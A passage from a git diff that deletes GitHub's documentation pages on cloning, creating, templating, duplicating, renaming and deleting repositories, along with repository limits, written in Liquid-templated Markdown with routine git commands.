variables.location.product_location %} to your local machine{% ifversion codespaces %}, or to a remote virtual machine when you create a codespace. For more information about cloning to a codespace, see [AUTOTITLE](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository).{% else %}.{% endif %} - -{% endwebui %} - -{% cli %} - -{% data reusables.repositories.about-cloning %} - -{% endcli %} - -{% desktop %} - -{% data reusables.repositories.about-cloning %} - -{% enddesktop %} - -Cloning a repository pulls down a full copy of all the repository data that {% data variables.location.product_location %} has at that point in time, including all versions of every file and folder for the project. You can push your changes to the remote repository on {% data variables.location.product_location %}, or pull other people's changes from {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/get-started/using-git). - -You can clone your existing repository or clone another person's existing repository to contribute to a project. - -## Cloning a repository - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.change-current-directory-clone %} -{% data reusables.command_line.git-clone-url %} -{% data reusables.command_line.local-clone-created %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To clone a repository locally, use the `repo clone` subcommand. Replace the `repository` parameter with the repository name. For example, `octo-org/octo-repo`, `monalisa/octo-repo`, or `octo-repo`. If the `OWNER/` portion of the `OWNER/REPO` repository argument is omitted, it defaults to the name of the authenticating user. - -```shell -gh repo clone REPOSITORY -``` - -You can also use the GitHub URL to clone a repository. - -```shell -gh repo clone https://github.com/PATH-TO/REPOSITORY -``` - -{% endcli %} - -{% desktop %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.open-with-github-desktop %} -1. Follow the prompts in {% data variables.product.prodname_desktop %} to complete the clone. - -For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop). - -{% enddesktop %} - -## Cloning an empty repository - -An empty repository contains no files. It's often made if you don't initialize the repository with a README when creating it. - -{% data reusables.repositories.navigate-to-repo %} -1. To clone your repository using the command line using HTTPS, under "Quick setup", click {% octicon "copy" aria-label="Copy to clipboard" %}. To clone the repository using an SSH key, including a certificate issued by your organization's SSH certificate authority, click **SSH**, then click {% octicon "copy" aria-label="Copy to clipboard" %}. - - ![Screenshot of the quick setup notes for an empty repository. To the right of the HTTPS URL for the repository, a copy icon is outlined in orange.](/assets/images/help/repository/empty-https-url-clone-button.png) - - Alternatively, to clone your repository in Desktop, click **{% octicon "desktop-download" aria-hidden="true" %} Set up in Desktop** and follow the prompts to complete the clone. - - ![Screenshot of the quick setup notes for an empty repository. The "Set up in Desktop" button is outlined in dark orange.](/assets/images/help/repository/empty-desktop-clone-button.png) - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.change-current-directory-clone %} -{% data reusables.command_line.git-clone-url %} -{% data reusables.command_line.local-clone-created %} - -## Troubleshooting cloning errors - -When cloning a repository it's possible that you might encounter some errors. - -If you're unable to clone a repository, check that: - -* You can connect using HTTPS. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors). -* You have permission to access the repository you want to clone. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors). -* The default branch you want to clone still exists. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors#error-remote-head-refers-to-nonexistent-ref-unable-to-checkout). - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-github/troubleshooting-connectivity-problems) -{% endif %} diff --git a/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md deleted file mode 100644 index 44e30ba2ed96..000000000000 --- a/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Creating a new repository -intro: You can create a new repository on your personal account or any organization where you have sufficient permissions. -redirect_from: - - /creating-a-repo - - /articles/creating-a-repository-in-an-organization - - /articles/creating-a-new-organization-repository - - /articles/creating-a-new-repository - - /articles/creating-an-internal-repository - - /github/setting-up-and-managing-your-enterprise-account/creating-an-internal-repository - - /github/creating-cloning-and-archiving-repositories/creating-an-internal-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-new-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -> [!TIP] -> Owners can restrict repository creation permissions in an organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization). - -> [!TIP] -> You can also create a repository using the {% data variables.product.prodname_cli %}. For more information, see [`gh repo create`](https://cli.github.com/manual/gh_repo_create) in the {% data variables.product.prodname_cli %} documentation. - -## Creating a new repository from the web UI - -{% data reusables.repositories.create_new %} -1. Optionally, to create a repository with the directory structure and files of an existing repository, select the **Choose a template** dropdown menu and click a template repository. You'll see template repositories that are owned by you and organizations you're a member of or that you've used before. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template). -1. Optionally, if you chose to use a template, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**. -{% data reusables.repositories.owner-drop-down %} -{% data reusables.repositories.repo-name %} -{% data reusables.repositories.choose-repo-visibility %} -1. If you're not using a template, there are a number of optional items you can pre-populate your repository with. If you're importing an existing repository to {% data variables.product.github %}, don't choose any of these options, as you may introduce a merge conflict. You can add or create new files using the user interface or choose to add new files using the command line later. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line), [AUTOTITLE](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line), and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts). - * You can create a README, which is a document describing your project. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - * You can create a _.gitignore_ file, which is a set of ignore rules. For more information, see [AUTOTITLE](/get-started/git-basics/ignoring-files).{% ifversion fpt or ghec %} - * You can choose to add a software license for your project. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository).{% endif %} -{% data reusables.repositories.select-marketplace-apps %} -{%- ifversion custom-properties-on-create %} -1. If custom properties are required for repository creation, set the required properties for the repository. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization).{% endif %} -{% data reusables.repositories.create-repo %} -{% ifversion fpt or ghec %} -1. At the bottom of the resulting Quick Setup page, under "Import code from an old repository", you can choose to import a project to your new repository. To do so, click **Import code**. -{% endif %} - -## Creating a new repository from a URL query - -You can use query parameters to pre-fill form fields when creating a new repository. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or an issue template on {% data variables.product.prodname_dotcom %}. To specify values for the predefined query parameters, you must match the key and value pair. - -Pre-filling form fields with a URL query may be useful if you often want to create repositories with the same default settings. For example, a teacher may want each student in a class to create a repository in their personal account with the same name, description and visibility. Using a URL query, the teacher can create a link that pre-fills the repository name, description and visibility fields and share it with the whole class. - -You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to create a repository in an organization to specify the organization as the repository owner in a query parameter. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the invalid query parameters will be ignored and the rest of the URL will function as normal. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page. - -| Query parameter | Example | Valid values | -| --- | --- | --- | -| `name` | `https://{% data variables.product.product_url %}/new?name=test-repo&owner=avocado-corp` creates a repository called "test-repo" owned by the "avocado-corp" organization. | Any valid repository name. Spaces must be replaced with `+` or `%20`. | -| `description` | `https://{% data variables.product.product_url %}/new?description=An+exciting+repository&visibility=private&owner=octocat` creates a repo with the description "An exciting repository" with private visibility owned by @octocat. | Any string. Spaces must be replaced with `+` or `%20`. | -| `visibility` | `https://{% data variables.product.product_url %}/new?visibility=private` creates a repository with private visibility. | `public`
`private`
{% ifversion not fpt %}`internal`{% endif %} | -| `owner` | `https://{% data variables.product.product_url %}/new?owner=avocado-corp&visibility=public` creates a public repository owned by the "avocado-corp" organization. | Any valid organization name or username. Alternatively, while signed in use `@me` to specify your user account as the owner. | -| `template_owner` and `template_name` | `https://{% data variables.product.product_url %}/new?owner=avocado-corp&template_owner=avocado-corp&template_name=octo-repo` creates a repository owned by the "avocado-corp" using the avocado-corp's template "octo-repo". | The username of the template owner and the name of the repository template. | - -## Further reading - -* [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-repository) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories) -* [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %} -* [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md b/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md deleted file mode 100644 index d84d0631a4ca..000000000000 --- a/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Creating a repository from a template -intro: You can generate a new repository with the same directory structure and files as an existing repository. -permissions: 'Anyone with read access to a template repository can create a repository from that template.' -redirect_from: - - /articles/creating-a-repository-from-a-template - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-from-a-template - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-repository-from-a-template -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Create from a template ---- -## About repository templates - -{% data reusables.repositories.about-template-repositories %} For more information about creation of a repository template, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository). - -> [!TIP] -> You can also create a repository from a template using the {% data variables.product.prodname_cli %}. For more information, see [`gh repo create`](https://cli.github.com/manual/gh_repo_create) in the {% data variables.product.prodname_cli %} documentation. - -You can choose to include the directory structure and files from only the default branch of the template repository or to include all branches. Branches created from a template have unrelated histories, which means you cannot create pull requests or merge between the branches. - -Creating a repository from a template is similar to forking a repository, but there are important differences: -* A new fork includes the entire commit history of the parent repository, while a repository created from a template starts with a single commit. -* Commits to a fork don't appear in your contributions graph, while commits to a repository created from a template do appear in your contribution graph. -* A fork can be a temporary way to contribute code to an existing project, while creating a repository from a template starts a new project quickly. - -For more information about forks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -## Creating a repository from a template - -{% data reusables.repositories.navigate-to-repo %} -1. Above the file list, click **Use this template**. -{% ifversion fpt or ghec %} -1. Select **Create a new repository**. - - ![Screenshot of the "Use this template" button and the dropdown menu expanded to show the "Open in a codespace" option.](/assets/images/help/repository/use-this-template-button.png) - - > [!NOTE] - > Alternatively, you can open the template in a codespace and publish your work to a new repository later. For more information, see [AUTOTITLE](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). - -{% endif %} -{% data reusables.repositories.owner-drop-down %} -{% data reusables.repositories.repo-name %} -{% data reusables.repositories.choose-repo-visibility %} -1. Optionally, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**. -{% data reusables.repositories.select-marketplace-apps %} -1. Click **Create repository from template**. diff --git a/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md b/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md deleted file mode 100644 index 86cbf6256ae0..000000000000 --- a/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Creating a template repository -intro: 'You can make an existing repository a template, so you and others can generate new repositories with the same directory structure, branches, and files.' -permissions: Anyone with admin permissions to a repository can make the repository a template. -redirect_from: - - /articles/creating-a-template-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-template-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-template-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Create a template repo ---- - -## About template repositories - -{% data reusables.repositories.about-template-repositories %} - -## Creating a template repository - -To create a template repository, you must create a repository, then make the repository a template. For more information about creating a repository, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). - -After you make your repository a template, anyone with access to the repository can generate a new repository with the same directory structure and files as your default branch. They can also choose to include all the other branches in your repository. Branches created from a template have unrelated histories, so you cannot create pull requests or merge between the branches. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template). - -> [!NOTE] -> Your template repository cannot include files stored using {% data variables.large_files.product_name_short %}. - -{% ifversion fpt %} - -> [!NOTE] -> You can use a template repository as starter code for an assignment on {% data variables.product.prodname_classroom %}. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository). - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Select **Template repository**. diff --git a/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md deleted file mode 100644 index ac6fe17a1b83..000000000000 --- a/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Creating an issues-only repository -intro: '{% data variables.product.github %} does not provide issues-only access permissions, but you can accomplish this using a second repository which contains only the issues.' -redirect_from: - - /articles/issues-only-access-permissions - - /articles/is-there-issues-only-access-to-organization-repositories - - /articles/creating-an-issues-only-repository - - /github/creating-cloning-and-archiving-repositories/creating-an-issues-only-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Issues-only repository ---- -1. Create a **private** repository to host the source code from your project. -1. Create a second repository with the permissions you desire to host the issue tracker. -1. Add a README file to the issues repository explaining the purpose of this repository and linking to the issues section. -1. Set your collaborators or teams to give access to the repositories as you desire. - -Users with write access to both can reference and close issues back and forth across the repositories, but those without the required permissions will see references that contain a minimum of information. - -For example, if you pushed a commit to the private repository's default branch with a message that read `Fixes organization/public-repo#12`, the issue would be closed, but only users with the proper permissions would see the cross-repository reference indicating the commit that closed the issue. Without the permissions, a reference still appears, but the details are omitted. diff --git a/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/content/repositories/creating-and-managing-repositories/deleting-a-repository.md deleted file mode 100644 index 4ae04495d95c..000000000000 --- a/content/repositories/creating-and-managing-repositories/deleting-a-repository.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Deleting a repository -intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository. -redirect_from: - - /delete-a-repo - - /deleting-a-repo - - /articles/deleting-a-repository - - /github/administering-a-repository/deleting-a-repository - - /github/administering-a-repository/managing-repository-settings/deleting-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -{% data reusables.organizations.owners-and-admins-can %} delete an organization repository, and these users may be prevented from deleting a repository by an organization or enterprise policy. {% data reusables.organizations.new-repo-permissions-more-info %} - -Deleting a public repository will not delete any forks of the repository. - -> [!WARNING] -> * Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. -> * Deleting a private{% ifversion ghes or ghec %} or internal{% endif %} repository will delete all forks of the repository. - -Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes %}Your site administrator may be able to restore a deleted repository for you. For more information, see [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository). {% else %}For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/restoring-a-deleted-repository).{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. On the "General" settings page (which is selected by default), scroll down to the "Danger Zone" section and click **Delete this repository**. -1. Click **I want to delete this repository**. -1. Read the warnings and click **I have read and understand these effects**. -1. To verify that you're deleting the correct repository, in the text box, type the name of the repository you want to delete. -1. Click **Delete this repository**. diff --git a/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md b/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md deleted file mode 100644 index c4f546ebd906..000000000000 --- a/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Duplicating a repository -intro: 'To maintain a mirror of a repository without forking it, you can run a special clone command, then mirror-push to the new repository.' -redirect_from: - - /articles/duplicating-a-repo - - /articles/duplicating-a-repository - - /github/creating-cloning-and-archiving-repositories/duplicating-a-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/duplicating-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -{% ifversion fpt or ghec %} - -> [!NOTE] -> If you have a project hosted on another Git-based hosting service, you can automatically import your project to {% data variables.product.prodname_dotcom %} using the {% data variables.product.prodname_importer %} tool. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-github-importer/about-github-importer). - -{% endif %} - -Before you can push the original repository to your new copy, or _mirror_, of the repository, you must [create the new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.location.product_location %}. In these examples, `exampleuser/new-repository` or `exampleuser/mirrored` are the mirrors. - -## Mirroring a repository - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Create a bare clone of the repository. - - ```shell - git clone --bare https://{% data variables.product.product_url %}/EXAMPLE-USER/OLD-REPOSITORY.git - ``` - -1. Mirror-push to the new repository. - - ```shell - cd OLD-REPOSITORY - git push --mirror https://{% data variables.product.product_url %}/EXAMPLE-USER/NEW-REPOSITORY.git - ``` - -1. Remove the temporary local repository you created earlier. - - ```shell - cd .. - rm -rf OLD-REPOSITORY - ``` - -## Mirroring a repository that contains {% data variables.large_files.product_name_long %} objects - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Create a bare clone of the repository. Replace the example username with the name of the person or organization who owns the repository, and replace the example repository name with the name of the repository you'd like to duplicate. - - ```shell - git clone --bare https://{% data variables.product.product_url %}/EXAMPLE-USER/OLD-REPOSITORY.git - ``` - -1. Navigate to the repository you just cloned. - - ```shell - cd OLD-REPOSITORY - ``` - -1. Pull in the repository's {% data variables.large_files.product_name_long %} objects. - - ```shell - git lfs fetch --all - ``` - -1. Mirror-push to the new repository. - - ```shell - git push --mirror https://{% data variables.product.product_url %}/EXAMPLE-USER/NEW-REPOSITORY.git - ``` - -1. Push the repository's {% data variables.large_files.product_name_long %} objects to your mirror. - - ```shell - git lfs push --all https://github.com/EXAMPLE-USER/NEW-REPOSITORY.git - ``` - -1. Remove the temporary local repository you created earlier. - - ```shell - cd .. - rm -rf OLD-REPOSITORY - ``` - -## Mirroring a repository in another location - -If you want to mirror a repository in another location, including getting updates from the original, you can clone a mirror and periodically push the changes. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Create a bare mirrored clone of the repository. - - ```shell - git clone --mirror https://{% data variables.product.product_url %}/EXAMPLE-USER/REPOSITORY-TO-MIRROR.git - ``` - -1. Set the push location to your mirror. - - ```shell - cd REPOSITORY-TO-MIRROR - git remote set-url --push origin https://{% data variables.product.product_url %}/EXAMPLE-USER/MIRRORED - ``` - - As with a bare clone, a mirrored clone includes all remote branches and tags, but all local references will be overwritten each time you fetch, so it will always be the same as the original repository. Setting the URL for pushes simplifies pushing to your mirror. - -1. To update your mirror, fetch updates and push. - - ```shell - git fetch -p origin - git push --mirror - ``` - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop#pushing-changes-to-github) -* [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop) - -{% endif %} diff --git a/content/repositories/creating-and-managing-repositories/index.md b/content/repositories/creating-and-managing-repositories/index.md deleted file mode 100644 index 6b02abb5e163..000000000000 --- a/content/repositories/creating-and-managing-repositories/index.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Creating and managing repositories -intro: 'You can create a repository on {% data variables.product.github %} to store and collaborate on your project''s files, then manage the repository''s name and location.' -redirect_from: - - /articles/creating-a-repository-on-github - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /about-repositories - - /best-practices-for-repositories - - /quickstart-for-repositories - - /repository-limits - - /creating-a-new-repository - - /creating-a-repository-from-a-template - - /creating-a-template-repository - - /creating-an-issues-only-repository - - /duplicating-a-repository - - /cloning-a-repository - - /troubleshooting-cloning-errors - - /renaming-a-repository - - /transferring-a-repository - - /deleting-a-repository - - /restoring-a-deleted-repository -shortTitle: Create & manage repositories ---- diff --git a/content/repositories/creating-and-managing-repositories/quickstart-for-repositories.md b/content/repositories/creating-and-managing-repositories/quickstart-for-repositories.md deleted file mode 100644 index f2c38b492842..000000000000 --- a/content/repositories/creating-and-managing-repositories/quickstart-for-repositories.md +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Quickstart for repositories -type: quick_start -redirect_from: - - /create-a-repo - - /articles/create-a-repo - - /github/getting-started-with-github/create-a-repo - - /github/getting-started-with-github/quickstart/create-a-repo - - /get-started/quickstart/create-a-repo -intro: 'Learn how to create a new repository and commit your first change in 5 minutes.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Notifications - - Accounts ---- -## Create a repository - -{% data variables.product.github %} repositories store a variety of projects. In this guide, you'll create a repository and commit your first change. - -{% webui %} - -{% data reusables.repositories.create_new %} -1. Type a short, memorable name for your repository. For example, "hello-world". - - ![Screenshot of the first step in creating a repository. The "Repository name" field contains the text "hello-world" and is outlined in dark orange.](/assets/images/help/repository/create-repository-name.png) -1. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.github %}." -{% data reusables.repositories.choose-repo-visibility %} -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} - -Congratulations! You've successfully created your first repository, and initialized it with a _README_ file. - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -1. In the command line, navigate to the directory where you would like to create a local clone of your new project. -1. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your personal account, specify the organization name and project name with `organization-name/project-name`. -1. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. -1. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). - -{% endcli %} - -## Commit your first change - -{% webui %} - -A [commit](/get-started/learning-about-github/github-glossary#commit) is like a snapshot of all the files in your project at a particular point in time. - -When you created your new repository, you initialized it with a _README_ file. _README_ files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your _README_ file are automatically shown on the front page of your repository. - -Let's commit a change to the README file. - -1. In your repository's list of files, select **README.md**. - - ![Screenshot of a list of files in a repository. A file name, "README.md", is highlighted with an orange outline.](/assets/images/help/repository/create-commit-open-readme.png) -{% data reusables.repositories.edit-file-button %} -1. In the text box, type some information about yourself. -{% data reusables.files.preview_change %} -1. Review the changes you made to the file. If you select **Show diff**, you will see the new content in green. - - ![Screenshot of a file preview. The "Show diff" checkbox is enabled and additions to the file are shown with a green line. Both are outlined in orange.](/assets/images/help/repository/create-commit-review.png) -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -{% endwebui %} - -{% cli %} - -Now that you have created a project, you can start committing changes. - -_README_ files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your _README_ file are automatically shown on the front page of your repository. Follow these steps to add a _README_ file. - -1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.) -1. Create a _README_ file with some information about the project. - - ```shell - echo "info about this project" >> README.md - ``` - -1. Enter `git status`. You will see that you have an untracked `README.md` file. - - ```shell - $ git status - - Untracked files: - (use "git add ..." to include in what will be committed) - README.md - - nothing added to commit but untracked files present (use "git add" to track) - ``` - -1. Stage and commit the file. - - ```shell - git add README.md && git commit -m "Add README" - ``` - -1. Push the changes to your branch. - - ```shell - git push --set-upstream origin HEAD - ``` - -{% endcli %} - -## Next steps - -You have now created a repository, including a _README_ file, and created your first commit on {% data variables.product.prodname_dotcom %}. - -{% webui %} - -* You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository) and [AUTOTITLE](/get-started/git-basics/set-up-git). - -{% endwebui %} - -* Secure your repository using {% data variables.product.github %}'s available security features. For more information, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-repository). - -* You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. {% data reusables.getting-started.fork-a-repository %} - -* {% data reusables.getting-started.being-social %} - -* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/content/repositories/creating-and-managing-repositories/renaming-a-repository.md b/content/repositories/creating-and-managing-repositories/renaming-a-repository.md deleted file mode 100644 index c6f801299941..000000000000 --- a/content/repositories/creating-and-managing-repositories/renaming-a-repository.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Renaming a repository -intro: You can rename a repository if you're either an organization owner or have admin permissions for the repository. -redirect_from: - - /articles/renaming-a-repository - - /github/administering-a-repository/renaming-a-repository - - /github/administering-a-repository/managing-repository-settings/renaming-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -When you rename a repository, all existing information, with the exception of project site URLs, is automatically redirected to the new name, including: - -* Issues -* Wikis -* Stars -* Followers - -For more information on project sites, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). - -In addition to redirecting web traffic, all `git clone`, `git fetch`, or `git push` operations targeting the previous location will continue to function as if made on the new location. However, to reduce confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line: - -```shell -git remote set-url origin NEW_URL -``` - -For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -{% ifversion fpt or ghec %} - -If you plan to rename a repository that has a {% data variables.product.prodname_pages %} site, we recommend using a custom domain for your site. This ensures that the site's URL isn't impacted by renaming the repository. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages). - -{% endif %} - -> [!NOTE] -> {% data variables.product.prodname_dotcom %} will not redirect calls to an action hosted by a renamed repository. Any workflow that uses that action will fail with the error `repository not found`. Instead, create a new repository and action with the new name and archive the old repository. For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/archiving-repositories). - -> [!WARNING] -> If you create a new repository under your account in the future, do not reuse the original name of the renamed repository. If you do, redirects to the renamed repository will no longer work. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the **Repository Name** field, type the new name of your repository. -1. Click **Rename**. diff --git a/content/repositories/creating-and-managing-repositories/repository-limits.md b/content/repositories/creating-and-managing-repositories/repository-limits.md deleted file mode 100644 index e9a237205654..000000000000 --- a/content/repositories/creating-and-managing-repositories/repository-limits.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Repository limits -intro: 'Learn about limitations for repositories.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -Certain types of repository resources can be quite large, requiring excessive processing on {% data variables.product.github %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time. - -Most of the limits below affect both {% data variables.product.github %} and the API. - -## Text limits - -{% data variables.product.prodname_dotcom %} displays formatted previews of some files, such as Markdown and Mermaid diagrams. {% data variables.product.prodname_dotcom %} always attempts to render these previews if the files are small (generally less than 2 MB), but more complex files may time out and either fall back to plain text or not be displayed at all. These files are always available in their raw formats, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file. - -## Diff limits - -Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views: - -* In a pull request, no total diff may exceed _20,000 lines that you can load_ or _1 MB_ of raw diff data. -* No single file's diff may exceed _20,000 lines that you can load_ or _500 KB_ of raw diff data. _Four hundred lines_ and _20 KB_ are automatically loaded for a single file. -* The maximum number of files in a single diff is limited to _300_. -* The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to _25_. - -Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown. - -## Commit listings limits - -The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown). - -The maximum count of commits displayed on the Commits tab is **10,000**. Use other tools such as `git rev-list --count mybranch` to count and enumerate a high volume of commits when needed. - -{% ifversion fpt or ghec or ghes > 3.16 %} - -## Rebase limits - -Merging a pull request using the "Rebase and merge" option is limited to **100** commits. If you have a pull request with more than 100 commits, you need to create a merge commit, squash and merge, or split the commits up into multiple pull requests. - -{% endif %} - -## Organization Limits - -If a repository owner exceeds **100,000** repositories, some UI experiences and API functionality may be degraded. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-ownership). diff --git a/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md 